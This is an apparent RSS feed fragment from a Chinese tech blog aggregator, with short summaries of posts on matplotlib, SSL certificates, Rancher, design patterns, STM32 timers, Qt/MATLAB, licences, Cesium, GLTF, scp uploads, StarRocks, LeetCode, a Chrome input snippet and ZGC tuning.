      <title>AttributeError: ‘FigureCanvasTkAgg‘ object has no attribute ‘set_window_title‘</title>
      <link>https://bchobby.github.io/posts/9758877495e9975580129ec637450b4a/</link>
      <pubDate>Fri, 29 Dec 2023 11:22:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9758877495e9975580129ec637450b4a/</guid>
      <description>AttributeError: &#39;FigureCanvasTkAgg&#39; object has no attribute &#39;set_window_title&#39; 问题描述解决方案 问题描述 AttributeError: ‘FigureCanvasTkAgg’ object has no attribute ‘set_window_title’&#xA;解决方案 应该是matplotlib包的版本更新了&#xA;解决办法：在canvas和set之间增加一个.manager&#xA;fig.canvas.manager.set_window_title(&#39;AP &#39; + class_name) 成功解决问题&#xA;参考文章</description>
    </item>
    <item>
      <title>沃通中小微企业SSL优惠专场，DV SSL证书降幅35%</title>
      <link>https://bchobby.github.io/posts/d2d7051b8901e3b7cb16a6d73195bff3/</link>
      <pubDate>Fri, 29 Dec 2023 11:19:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2d7051b8901e3b7cb16a6d73195bff3/</guid>
      <description>沃通CA助力中小微企业数字化安全发展，推出“中小微企业SSL优惠专场”，深受中小微企业青睐的超快SSL系列证书特惠来袭，降幅达35%！实现HTTPS加密、维护企业数据传输安全，满足法律法规对数据安全保护的基本要求，降低中小微企业数字化安全建设成本。2024新年来临之际，沃通CA与中小微企业客户温暖同行、相伴成长，帮助企业开年加速、新年新气象！&#xA;HTTPS加密保障网络与通信安全 我国先后出台《网络安全法》、《密码法》、《数据安全法》、《个人信息保护法》等多部法律法规，结合等保2.0以及密评等落地实施办法，对不同等级的网络信息系统采用密码技术对数据进行加密保护提出了具体要求，其中，维护数据完整性、保密性、可用性，保护网络通信传输安全是保护数据安全的基本要求。&#xA;SSL/TLS通过对网络通信进行加密，确保数据在传输过程中不会被窃取或篡改，只有接收方具备正确的解密密钥才能获取数据的原始内容。SSL证书的主要作用就是激活SSL/TLS协议，实现HTTPS加密、保护数据传输安全，以及验证服务器真实身份认证。实现HTTPS加密，可以避免数据明文传输造成的数据泄露、数据篡改、流量劫持等安全威胁；验证服务器身份真实性，可以防范钓鱼网站、钓鱼攻击等安全风险。&#xA;DV SSL证书是基础款的SSL证书产品类型，可用于实现HTTPS加密，实现数据传输加密保护，满足网络与通信安全层面的安全性要求。&#xA;热销SSL证书产品：DV SSL证书低成本、签发快！ 沃通超快SSL系列证书是基础级DV SSL证书产品，由全球信任根证书签发，具备广泛兼容性，支持所有浏览器和移动终端，支持Java和老设备，因仅验证域名所有权、快速签发、低成本等产品特点，备受中小微企业青睐。&#xA;沃通超快SSL单域型支持保护1个域名或公网IP，支持额外付费添加多个域名。沃通超快SSL通配型证书支持保护同一主域名下所有次级子域名，证书有效期内可随时扩展增加子域名，无需重新颁发，具备很好的扩展性、灵活性。沃通超快SSL系列证书都支持签发RSA算法或ECC算法。RSA算法SSL证书具备更广泛的兼容性，而ECC算法SSL证书具有更好的抗攻击性，以应对量子计算等新技术的冲击，提升长效安全性。&#xA;沃通CA是依法设立的第三方电子认证服务机构，获得国密局颁发《电子认证使用密码许可证》、工信部颁发《电子认证服务许可证》，获批电子政务电子认证服务资质，专注数字证书行业二十余年，综合经营实力强，具备合规资质、专业服务能力及长期履约交付能力，能够为中小微企业客户提供更完善的服务支持和售后保障，确保多年期证书可靠交付。目前已累计服务几十万家政企单位，涵盖电子政务、金融银行、医疗、教育等各行业领域，助力各行业构建安全可信的数字化应用及数字化安全生态。</description>
    </item>
    <item>
      <title>rancher 手册</title>
      <link>https://bchobby.github.io/posts/451821f62f59604d90ee56d25477e9cd/</link>
      <pubDate>Fri, 29 Dec 2023 11:14:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/451821f62f59604d90ee56d25477e9cd/</guid>
      <description>官方 https://www.rancher.com/https://github.com/rancher/rancherhttps://docs.rke2.io/ rancher kubernetesl yaml deploy rancher serverHelm Deploy Online Rancher DemoHelm &amp;amp; Kubernetes Offline Deploy Rancher v2.7.5 Demohelm upgrade rancher server from v2.7.5 to v2.7.8 in kubernetesrancher harvester deploy demo rke2 rke2 在线部署 kubernetes&#xA;RKE2 config containerd private registry</description>
    </item>
    <item>
      <title>java设计模式学习之【访问者模式】</title>
      <link>https://bchobby.github.io/posts/4e87e0ec125852794ebabfaf483ca2b6/</link>
      <pubDate>Fri, 29 Dec 2023 11:14:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e87e0ec125852794ebabfaf483ca2b6/</guid>
      <description>文章目录 引言访问者模式简介定义与用途实现方式 使用场景优势与劣势在Spring框架中的应用电脑示例代码地址 引言 设想你是一个艺术馆的管理员，艺术馆里有各种各样的艺术品。每当有游客来访时，根据他们的兴趣，他们可能只想看画、雕塑或特定的展览。在这里，每位游客都有不同的“访问”行为，而艺术馆提供了他们所能“访问”的物品。在软件开发中，我们经常遇到需要对一个复杂的对象结构（如一个元素集合）执行不同操作的情况，而不希望修改对象的类。访问者模式提供了一种将操作逻辑与对象结构分离的方法，使得我们可以在不修改已有程序结构的情况下，向程序添加新的操作。&#xA;访问者模式简介 定义与用途 访问者模式（Visitor Pattern）是一种行为型设计模式，它允许你在不改变各元素类的前提下，定义作用于这些元素的新操作。它使用一种访问者类，改变元素类的执行算法。通过这种方式，元素的执行算法可以随着访问者变化而变化。&#xA;实现方式 实现访问者模式通常涉及以下几个关键组件：&#xA;访问者（Visitor）接口： 定义了对每一种元素（Element）类访问的操作。具体访问者（Concrete Visitor）： 实现了访问者接口的类，定义了对每一种元素的具体访问行为。元素（Element）接口： 定义了一个接受访问者（accept）的方法。具体元素（Concrete Element）： 实现了元素接口，其方法 accept 通常将自己作为参数传递给访问者的访问方法。 使用场景 访问者模式适用于以下场景：&#xA;当一个对象结构包含很多类对象，它们有不同的接口，而你想对这些对象执行一些依赖于其具体类的操作。当需要对一个复杂的对象结构执行很多不相关的操作，而你不想在这些操作污染这些对象的类时。访问者可以将相关的操作组织在一个类中。当多个对象间存在一种“双重分派”关系时。即想根据两个对象的实际类型决定执行的操作。 例如：&#xA;文档解析器： 文档结构中包含多种类型的元素，如文本、图片和表格。访问者模式可以用来实现文档的渲染、格式校验或者内容提取等操作。保险评估工具： 对不同类型的保险单执行风险评估和报价。每种保险单都有不同的风险评估算法，而所有算法都可以通过访问者模式来实现。公园管理系统： 一个公园包含多种类型的景点，如游乐场、植物园和博物馆。访问者模式可以用来实现不同访客对不同景点的不同访问行为，例如儿童、成人和园艺师。 优势与劣势 优势 增加新的操作很容易，只需添加一个新的访问者即可。将相关的操作集中到一个访问者中，而不是分散在多个元素类中。 劣势 增加新的元素类变得困难，每增加一个新的元素类，每一个访问者都可能需要修改。具体元素对访问者公开细节，违反了封装原则。 在Spring框架中的应用 在Spring框架中，BeanDefinitionVisitor 是访问者模式的一个实际应用例子，它用于访问和修改 BeanDefinition 对象。BeanDefinition 对象包含了Spring容器中bean的配置信息，如类名、属性值和构造函数参数。 作用与用途： BeanDefinitionVisitor 主要用于在Spring容器启动过程中修改已经加载的 BeanDefinition。它通过访问者模式允许开发者编写自定义逻辑来检查和修改 BeanDefinition，而不需要修改 BeanDefinition 的源代码。 如何工作： 访问Bean定义： BeanDefinitionVisitor 遍历Bean定义中的属性值和构造函数参数等信息。 修改Bean定义： 它可以根据需要修改这些信息，例如解析占位符、应用属性编辑器或者更改属性值。 扩展性和灵活性： 开发者可以扩展 BeanDefinitionVisitor 类并覆盖相应的方法来实现自定义访问和修改逻辑。 使用场景： 属性占位符替换： PropertyPlaceholderConfigurer 是Spring中一个常见的使用 BeanDefinitionVisitor 的例子。它在容器启动时解析并替换属性文件中的占位符。 属性编辑器应用： 自定义 BeanDefinitionVisitor 可以用于在bean属性赋值之前应用自定义属性编辑器，进行类型转换或者其他预处理操作。 条件配置： 通过检查 BeanDefinition 的详细信息，BeanDefinitionVisitor 可以实现条件配置，根据不同的环境或条件选择性地修改或激活bean。 实现自定义BeanDefinitionVisitor： 要实现自定义的 BeanDefinitionVisitor，可以继承 BeanDefinitionVisitor 类，并重写 visitXXX 方法来实现特定的访问和修改逻辑。然后在容器启动过程中，或者作为 BeanFactoryPostProcessor 的一部分应用这个访问者到需要的 BeanDefinition 上。 电脑示例 步骤 1：定义代表元素的接口</description>
    </item>
    <item>
      <title>STM32——通用计时器</title>
      <link>https://bchobby.github.io/posts/a3e38fb3794ccdfcd6d3afb1ebccc237/</link>
      <pubDate>Fri, 29 Dec 2023 11:07:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3e38fb3794ccdfcd6d3afb1ebccc237/</guid>
      <description>通用计时器框图 1.时钟源 1）内部时钟(CK_INT)&#xA;2）外部时钟模式 1：外部输入引脚(TIx)，x=1，2（即只能来自于通道 1 或者通道 2）&#xA;3）外部时钟模式 2：外部触发输入(ETR)&#xA;4）内部触发输入(ITRx)：使用一个定时器作为另一定时器的预分频器&#xA;1.1.外部时钟模式 1（TI1、TI2） 外部时钟源进入定时器的流程以通道2为例：&#xA;1）外部时钟源信号→IO→TIMx_CH1（或者 TIMx_CH2），其中，外部时钟模式 1 下，时钟源信号只能从 CH1 或者 CH2 输入到定时器，CH3 和 CH4 都是不可以的。&#xA;2）TI2 首先经过一个滤波器，由 ICF[3:0]位来设置滤波方式，也可以设置不使用滤波器。&#xA;3）接着经过边沿检测器，由 CC2P 位来设置检测的边沿，可以上升沿或者下降沿检测。&#xA;4）然后经过触发输入选择器，由 TS[4:0]位来选择 TRGI（触发输入信号）的来源。 TI1F_ED、TI1FP1 和 TI2FP2 三个触发输入信号（TRGI），&#xA;5）最后经过模式选择器，由 ECE 位和 SMS[2:0]位来选择定时器的时钟源。外部时钟模式 1，ECE 位置 0，SMS[2:0] = 111。&#xA;6）CK_PSC 需要经过定时器的预分频器分频后，最终就能到达计数器进行计数了。&#xA;1.2.外部时钟模式 2（ETR） 1)外部时钟源信号→IO→TIMx_ETR,需配置 IO 的复用功能，才能使IO 和定时器相连通&#xA;2）经过外部触发极性选择器，由 ETP 位来设置上升沿有效还是下降沿有效，选择下降沿有效的话，信号会经过反相器。&#xA;3）然后经过外部触发预分频器，由 ETPS[1:0]位来设置预分频系数，系数范围：1、2、4、8。&#xA;4）紧接着经过滤波器器，由 ETF[3:0]位来设置滤波方式，也可以设置不使用滤波器。fDTS 由TIMx_CR1 寄存器的 CKD 位设置。&#xA;5）从模式选择器，由 ECE 位置 0和 SMS[2:0]位来选择定时器的时钟源</description>
    </item>
    <item>
      <title>QT与MATLAB混合编程详解</title>
      <link>https://bchobby.github.io/posts/8b842ac34cf667f87ac6806c2c06650a/</link>
      <pubDate>Fri, 29 Dec 2023 11:05:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8b842ac34cf667f87ac6806c2c06650a/</guid>
      <description>写在前面：由于matlab和qt的环境配置复杂，请大家一定先根据自己电脑的路径来替换本文中的路径&#xA;本文使用环境：&#xA;MATLAB 2022b&#xA;qt 6.6&#xA;编译环境：MSVC2019 64位&#xA;matlab的环境还需要配置在环境变量中&#xA;此电脑（右键）—&amp;gt;属性—&amp;gt;高级系统设置—&amp;gt;环境变量—&amp;gt;环境变量—&amp;gt;path，加入下面：&#xA;这里要填自己matlab的路径哦！应用完之后，需要重启电脑使其生效&#xA;检查matlab的环境&#xA;mbuild -setup&#xA;正常会输出以下结果，请大家选择红圈内的选项&#xA;在matlab下新建一个文件，我们写一个绘制三角函数的代码，写入以下代码：&#xA;function y = mysin( ) % 定义 x 的范围 x = -2*pi:0.01:2*pi; % 计算 sin(x) y = sin(x); % 添加标题和标签 title(&#39;sin(x) 函数&#39;); xlabel(&#39;x&#39;); ylabel(&#39;sin(x)&#39;); % 绘制 sin(x) 函数 plot(x, y); end 注意，需要写成函数形式&#xA;运行一下&#xA;在matlab的命令行下输入下面的代码&#xA;mcc -W lib:mysindll -T link:lib mysin.m -C 我们主要用的是下面的四个文件：&#xA;然后我们来创建qt项目&#xA;之后的选项默认，然后我们来到选择构建套件这一步&#xA;我们选择MSVC 2019 64 创建项目后，我们需要先运行一下、&#xA;我们需要把下面三个文件，放到项目目录下&#xA;然后把下面这个文件，放到debug目录下&#xA;然后右击头文件，添加现有文件， 选中.h文件&#xA;然后我们来修改.pro文件，在其中添加以下内容：</description>
    </item>
    <item>
      <title>理解开源协议GPL、MIT、BSD、Apache License</title>
      <link>https://bchobby.github.io/posts/3ed899c15d40d4b8199e05b56c99506f/</link>
      <pubDate>Fri, 29 Dec 2023 11:04:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ed899c15d40d4b8199e05b56c99506f/</guid>
      <description>开源协议是一种法律文件，规定了使用、修改和分享开源软件的规则和条件。以下是一些常见的开源协议及其相同点和区别：&#xA;GPL（GNU General Public License）：GPL 是一种比较严格的开源协议，要求使用者如果对开源软件进行修改并重新发布，必须将修改后的代码也以 GPL 协议进行开源。这意味着，如果你使用 GPL 协议下的开源软件，并对其进行修改，你必须将修改后的代码公开，以便其他人可以受益于你的修改。GPL 协议的主要目的是促进自由软件的发展和共享。&#xA;MIT 协议：MIT 协议是一种比较宽松的开源协议。它允许使用者自由使用、修改和分享开源软件，而无需承担太多法律责任。这意味着你可以将 MIT 协议下的开源软件用于商业目的，并且可以对其进行修改和重新发布，而无需公开你的修改内容。MIT 协议的主要目的是鼓励软件的自由使用和创新。&#xA;BSD（Berkeley Software Distribution）协议：BSD 协议也是一种比较宽松的开源协议，允许使用者将开源软件用于商业目的，并且可以对其进行修改和重新发布，而无需公开修改内容。与 MIT 协议不同的是，BSD 协议要求使用者在使用开源软件时，必须在软件的源代码中包含原始的 BSD 协议声明。&#xA;Apache License：Apache License 是一种相对宽松的开源协议，允许使用者将开源软件用于商业目的，并且可以对其进行修改和重新发布，而无需公开修改内容。与 MIT 和 BSD 协议不同的是，Apache License 要求使用者在使用开源软件时，必须在软件的源代码中包含原始的 Apache License 声明。&#xA;相同点：&#xA;都允许使用者自由使用、修改和分享开源软件。&#xA;都要求使用者在使用开源软件时，必须在软件的源代码中包含原始的开源协议声明。&#xA;区别：&#xA;GPL 协议比较严格，要求使用者如果对开源软件进行修改并重新发布，必须将修改后的代码也以 GPL 协议进行开源。&#xA;MIT、BSD 和 Apache License 协议比较宽松，允许使用者将开源软件用于商业目的，并且可以对其进行修改和重新发布，而无需公开修改内容。&#xA;现在主流的开源产品及其所基于的协议：&#xA;Linux 操作系统：基于 GPL 协议，是一款免费、开源的操作系统，广泛应用于服务器、移动设备、嵌入式系统等领域。&#xA;MySQL 数据库：基于 GPL 协议，是一款开源的关系型数据库管理系统，广泛应用于 Web 应用、企业应用等领域。&#xA;Apache HTTP Server：基于 Apache License 协议，是一款开源的 Web 服务器软件，广泛应用于 Web 应用、企业应用等领域。</description>
    </item>
    <item>
      <title>超图iClient3DforCesium地形、影像、模型、在线影像交互示例</title>
      <link>https://bchobby.github.io/posts/f1097291a0ebd3c455f2be4758c68572/</link>
      <pubDate>Fri, 29 Dec 2023 11:03:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1097291a0ebd3c455f2be4758c68572/</guid>
      <description>超图iClient3DforCesium地形、影像、模型、在线影像交互示例 描述示例代码 描述 数据源：基于iserver发布的三维场景(地形、影像、BIM模型) + 在线arcgis影像&#xA;应用：目录树展示源数据列表、目录树控制源数据可视化结果显隐、BIM模型点选查询关联属性&#xA;示例代码 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;en&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=Edge,chrome=1&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no&#34;&amp;gt; &amp;lt;title&amp;gt;模型交互示例&amp;lt;/title&amp;gt; &amp;lt;link href=&#34;../../Build/Cesium/Widgets/widgets.css&#34; rel=&#34;stylesheet&#34;&amp;gt; &amp;lt;link href=&#34;./css/pretty.css&#34; rel=&#34;stylesheet&#34;&amp;gt; &amp;lt;script src=&#34;./js/jquery.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;./js/config.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;./js/bootstrap.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;./js/bootstrap-select.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;./js/bootstrap-treeview.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script src=&#34;./js/spectrum.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;../../Build/Cesium/Cesium.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div id=&#34;cesiumContainer&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;div id=&#39;tool-menu&#39; class=&#39;tool-menu&#39;&amp;gt; &amp;lt;a data-toggle=&#39;dropdown&#39; id=&#39;layerMangerBtn&#39; title=&#39;图层管理&#39; class=&#39;tool-menu-btn tool-menu-btn-inverse&#39;&amp;gt; &amp;lt;span class=&#39;smicon-layerlist tool-menu-btn-icon&#39;&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;div class=&#34;dropDown-container treeview-dropDown-container&#34; id=&#34;treeContainer&#34;&amp;gt; &amp;lt;div id=&#39;layerTree&#39;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/a&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div id=&#34;</description>
    </item>
    <item>
      <title>GLTF编辑器实现逼真的石门模型</title>
      <link>https://bchobby.github.io/posts/d7bb29f0e268b5885c2d69fd262e60d7/</link>
      <pubDate>Fri, 29 Dec 2023 10:58:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7bb29f0e268b5885c2d69fd262e60d7/</guid>
      <description>在线工具推荐： 3D数字孪生场景编辑器 - GLTF/GLB材质纹理编辑器 - 3D模型在线转换 - Three.js AI自动纹理开发包 - YOLO 虚幻合成数据生成器 - 三维模型预览图生成器 - 3D模型语义搜索引擎 在凹凸贴图中，每个像素点都包含了一个法线向量，表示该点表面的方向。这些法线向量通常以纹理的形式存储在一个称为凹凸贴图的二维图像中。渲染过程中，根据法线向量的信息，调整每个像素的光照计算结果，使得光线在表面上的反射看起来产生微小的凹凸效果。&#xA;凹凸贴图可以用于增加物体的细节和真实感，例如在石头、皮肤、织物等表面上模拟出凹陷和凸起的纹理效果。这种技术可以通过在三维建模软件中创建凹凸贴图，或者通过在渲染过程中动态生成凹凸贴图来实现。&#xA;需要注意的是，凹凸贴图只是一种视觉上的效果，不改变实际的物体几何形状。它是一种节约计算资源的技术，能够在不增加多边形数量的情况下，为平滑的表面增添细节。&#xA;本文将讲解如何使用GLTF 编辑器 -NSDT 在线材质编辑工具为游戏角色3D模型设置纹理贴图，在开始之前我们先了解下纹理里纹理贴图的一些基本概念。&#xA;1、材质纹理贴图 1：没有纹理的 3D 模型2：带纹理的相同模型&#xA;纹理贴图是应用于（映射）到形状或多边形表面的图像。这可以是位图图像或程序纹理。它们可以以常见的图像文件格式存储，由 3D 模型格式或材料定义引用，并组装成资源包。&#xA;它们可能有 1-3 个维度，尽管 2 个维度对于可见表面最常见。为了与现代硬件一起使用，纹理贴图数据可以以旋转或平铺顺序存储，以提高缓存一致性。渲染 API 通常将纹理贴图资源（可能位于设备内存中）作为缓冲区或表面进行管理，并且可能允许“渲染到纹理”以获得其他效果，例如后期处理或环境映射。&#xA;它们通常包含 RGB 颜色数据（存储为直接颜色、压缩格式或索引颜色），有时还包含用于 alpha 混合 （RGBA） 的附加通道，尤其是对于广告牌和贴花叠加纹理。可以将 alpha 通道（以硬件解析的格式存储可能很方便）用于其他用途，例如镜面反射。&#xA;2、纹理贴图的作用 纹理贴图在创建视觉上令人惊叹且逼真的 3D 模型中发挥着至关重要的作用。3D 建模中使用了多种类型的纹理贴图，每种类型都有其独特的用途。例如，漫反射贴图用于定义 3D 模型的表面颜色，而镜面贴图则定义表面的光泽度和反射率。法线贴图用于向模型表面添加深度和结构，而位移贴图用于修改表面几何形状本身。&#xA;使用这些不同类型的纹理贴图的重要性在于它们能够共同为观看者创造更加身临其境和引人入胜的体验。通过使用这些贴图，3D 艺术家可以创建复杂的细节，使模型显得更加逼真和可信，最终提高最终产品的整体质量和影响力。&#xA;3、设置3D模型纹理贴图的工具和方法 在选择合适的纹理工具时，请考虑项目的复杂性和您对软件的熟悉程度。初学者倾向于 GLTF 编辑器 -NSDT，GLTF 编辑器是一款专门用于3D模型纹理贴图的工具，它支持3D模型各种材质纹理贴图的编辑修改，包括：颜色、粗糙度、金属度、贴图、顶点颜色、自发光贴图、透明贴图、凹凸贴图、法线贴图、位移贴图、粗糙贴图、金属贴图、光照贴图、透明度等。&#xA;4、GLTF如何设置纹理贴图？ 使用专业的建模软件来设置模型的纹理贴图确实是个不错的选择，但是对于新手小白来说却是不那么友好了，软件的安装、使用都比较麻烦，而GLTF 编辑器 -NSDT 作为一款在线材质纹理编辑工具，基于Three.js 开发，可以在任意支持webGL的浏览器运行，不需要安装下载额外的插件或者以来，打开浏览器就能使用。&#xA;以下是如何使用 GLTF 编辑器 -NSDT 设置纹理贴图的方法和步骤：</description>
    </item>
    <item>
      <title>LT8612UX-HDMI2.0 to HDMI2.0 and VGA Converter with Audio，支持三通道视频DAC</title>
      <link>https://bchobby.github.io/posts/8fe5d5ee9bfdab0df5aaeb9085d7a8a2/</link>
      <pubDate>Fri, 29 Dec 2023 10:49:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8fe5d5ee9bfdab0df5aaeb9085d7a8a2/</guid>
      <description>HDMI2.0 to HDMI2.0 and VGA Converter with Audio&#xA;1. 描述 LT8612UX是一个HDMI到HDMI和vga转换器，它将HDMI2.0数据流转换为HDMI2.0信号和模拟RGB信号。 它还输出8通道I2S和SPDIF信号，使高质量的7.1通道音频。 LT8612UX支持符合HDMI2.0/ 1.4规范的DDC/SCDC。 此包为QFN76 9mmx9mm。 工作温度范围为−40°C至+85°C。 2. 特性 •HDMI2.0接收机 •HDMI2.0发射机 •三通道视频DAC •数字音频输出 •杂项 3. 应用程序 •数字标识 •PC，笔记本电脑主板 •HDMI到VGA加密狗 •车载娱乐系统 Description&#xA;The LT8612UX is an HDMI to HDMI&amp;amp;VGA converter, which converts HDMI2.0 data streams to HDMI2.0 signals and analog RGB signals. It also outputs 8 channel I2S and SPDIF signals which enable high quality 7.1 channel audio.&#xA;LT8612UX support DDC/SCDC compliant with HDMI2.</description>
    </item>
    <item>
      <title>前端性能优化 将资源放到 linux 服务器上 提升访问效率</title>
      <link>https://bchobby.github.io/posts/e10a0026fdc5f5a21cbe9c73c6eb1684/</link>
      <pubDate>Fri, 29 Dec 2023 10:47:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e10a0026fdc5f5a21cbe9c73c6eb1684/</guid>
      <description>我们先远端连接服务器 然后服务器终端输入&#xA;mkdir 目录路径 建出一个新的文件路径&#xA;回到我们自己的电脑&#xA;然后 在要缓存到服务器的文件目录下打开终端&#xA;输入&#xA;scp -r ./xidis.hdr 用户名 如果没设置用户名就是root@服务器公网IP:/root/xhdr 例如&#xA;scp -r ./xidis.hdr root@1.113.266.557:/root/xhdr 执行这个名录 会提示你输入服务器密码&#xA;这样 就可以将xidis.hdr送到 服务器的 root目录下的 xhdr目录中&#xA;来到服务器&#xA;然后 我们执行&#xA;ls /root/xhdr 查看root目录下的xhdr目录&#xA;文件 是已经在下面了的&#xA;然后 我们将vue项目中使用文件的路径 改成 服务器的路径 root目录下的 xhdr目录下的 xidis.hdr 然后打包项目&#xA;这里注意 你在本地运行 /root/xhdr/xidis.hdr 肯定是拿不到的 将项目上到服务器上去&#xA;然后运行 资源就是获取的服务器上的了</description>
    </item>
    <item>
      <title>存算分离降本增效，StarRocks 助力聚水潭 SaaS 业务服务化升级</title>
      <link>https://bchobby.github.io/posts/4d015840731e2a15aea602f7c54d6dca/</link>
      <pubDate>Fri, 29 Dec 2023 10:46:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d015840731e2a15aea602f7c54d6dca/</guid>
      <description>作者：聚水潭数据研发负责人 溪竹&#xA;聚水潭是中国领先的 SaaS 软件服务商，核心产品是电商 ERP，协同350余家电商平台，为商家提供综合的信息化、数字化解决方案。公司是偏线下商家侧的 toB 服务商，员工人数超过3500，线下网点超过100个，每天要承载大概2亿包裹量的 ERP 发货流程，产生的数据量超过10TP。&#xA;公司数据智能产品的定位是将数据融入到服务流程中，在 ERP 这个大的体系里，帮助商家进行数据提效。从整体分层来说，包括智能报表、智能经营、智能分析，其中智能分析包括实时大屏、渠道分析等。&#xA;今年3月，聚水潭将 StarRocks 引入到数仓架构中，针对数据智能产品中的多个服务进行了升级。在 StarRocks Summit 2023 上，公司数据研发负责人溪竹结合应用场景分享了在 StarRocks 使用过程中的许多经验和感受。&#xA;我们将溪竹的精彩演讲整理出来，希望对你有所帮助。&#xA;数仓架构演进&#xA;聚水潭数仓经历了大约 10 年的发展，早期跟很多公司一样采用的是 SQL Server 集群，在数据规模较小的情况下 SQL Server 的在线服务和 OLAP 能力都能满足业务需求。随着业务发展，SQL Server 在复杂查询场景下，无法提供丰富的多维统计指标计算能力。所以从 2018 年开始自建 GreenPlum 作为 AP 分析集群，至 2021 年集群数量已经超过 70 个集群。另外在线的 SQL Server 集群也在不断增加，现在已经超过了 1000 套。从 2020 年开始，我们接入了实时链路，从偏数据库的场景转向了偏计算和存储能力的场景。&#xA;至此我们只是在不断的扩展集群规模，增加服务数量，导致了数据是隔离的，服务是分散的。为此我们希望有一款产品具有更强的在线化服务能力和实时数据处理能力，能够帮我们整合数据存储，统一数据服务。经过充分的调研和验证，今年 3 月，我们将 StarRocks 引入进来，逐步形成了现在的统一在线服务架构。目前我们的 StarRocks 集群规模约 10 个，整体 CPU 约 1000 个。&#xA;StarRocks 大规模集群的构建及验证</description>
    </item>
    <item>
      <title>【数据结构和算法】独一无二的出现次数</title>
      <link>https://bchobby.github.io/posts/30cf1d96fb69170115ebf41c03d6367a/</link>
      <pubDate>Fri, 29 Dec 2023 10:36:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/30cf1d96fb69170115ebf41c03d6367a/</guid>
      <description>其他系列文章导航 Java基础合集&#xA;数据结构与算法合集&#xA;设计模式合集&#xA;多线程合集&#xA;分布式合集&#xA;ES合集&#xA;文章目录 其他系列文章导航&#xA;文章目录&#xA;前言&#xA;一、题目描述&#xA;二、题解&#xA;2.1 哈希类算法题注意事项&#xA;2.2 方法一：判断长度&#xA;2.3 方法二： set 判断&#xA;2.4 方法三：使用数组&#xA;三、代码&#xA;2.2 方法一：判断长度&#xA;2.3 方法二： set 判断&#xA;2.4 方法三：使用数组&#xA;四、复杂度分析&#xA;2.2 方法一：判断长度&#xA;2.3 方法二： set 判断&#xA;2.4 方法三：使用数组&#xA;前言 这是力扣的 1207 题，难度为简单，解题方案有很多种，本文讲解我认为最奇妙的一种。&#xA;一、题目描述 给你一个整数数组 arr，请你帮忙统计数组中每个数的出现次数。&#xA;如果每个数的出现次数都是独一无二的，就返回 true；否则返回 false。&#xA;示例 1：&#xA;输入：arr = [1,2,2,1,1,3] 输出：true 解释：在该数组中，1 出现了 3 次，2 出现了 2 次，3 只出现了 1 次。没有两个数的出现次数相同。 示例 2：</description>
    </item>
    <item>
      <title>CHROME扩展开发之·input模拟输入用户输入(触发事件响应数据同步)</title>
      <link>https://bchobby.github.io/posts/a8b027d6f17195d0940eaf283af32bd3/</link>
      <pubDate>Fri, 29 Dec 2023 10:33:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a8b027d6f17195d0940eaf283af32bd3/</guid>
      <description> 获取input dom赋值并促发事件 const iptDom = document.querySelector(&#39;input&#39;) iptDom.value = &#39;hello world!&#39;; iptDom.dispatchEvent(new Event(&#39;input&#39;, { bubbles: true })); </description>
    </item>
    <item>
      <title>swap引起的zgc safepoint超长问题排查</title>
      <link>https://bchobby.github.io/posts/5d1d212c0a97fd29ad1120e4f25fe7a2/</link>
      <pubDate>Fri, 29 Dec 2023 10:28:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d1d212c0a97fd29ad1120e4f25fe7a2/</guid>
      <description>背景 从java8直接升级到jdk21后，使用zgc的过程中有几个优化点，这里记录下来&#xA;zgc优化过程 第一版上线时除了执行-xmx外，没有指定其它的jvm参数，此时观察到两个现象：&#xA;1.偶尔有超过500ms的超时的gc，这里是通过采集日志zgc过程中stw的日志发现的，初始标记：日志中Pause Mark Start,再标记：日志中Pause Mark End, 初始转移：日志中Pause Relocate Start&#xA;2.偶尔有一次超过10s的进入safepoint的时长，这个时候的现象如下： cpu使用率很高并且容器cpu会被限流&#xA;第一点现象我们发现是由于&#34;Alloaction Stall&#34;导致的，也就是使用自适应的zgc回收器回收的速度不够快，不能适应流量突发的情况，我们新增了ZInterval=5秒的参数，除了自适应的zgc触发外，新增了固定间隔5s触发一次，上线后问题解决，不在有&#34;Alloaction Stall&#34;日志，并且偶尔超过500ms的超时的现象不再出现&#xA;第二点进入safepoint的时长超过10s的原因确定是由于cpu限流导致的停顿，然而cpu限流的原因不是因为zgc本身的问题，而是因为swap的使用导致cpu使用暴涨，进而被限流，进而导致进入safepoint的时长超过10s，这一步的解决我们是通过调整容器的规格，增加容器内存的方式解决了</description>
    </item>
    <item>
      <title>4. 云原生之kubesphere基础服务搭建</title>
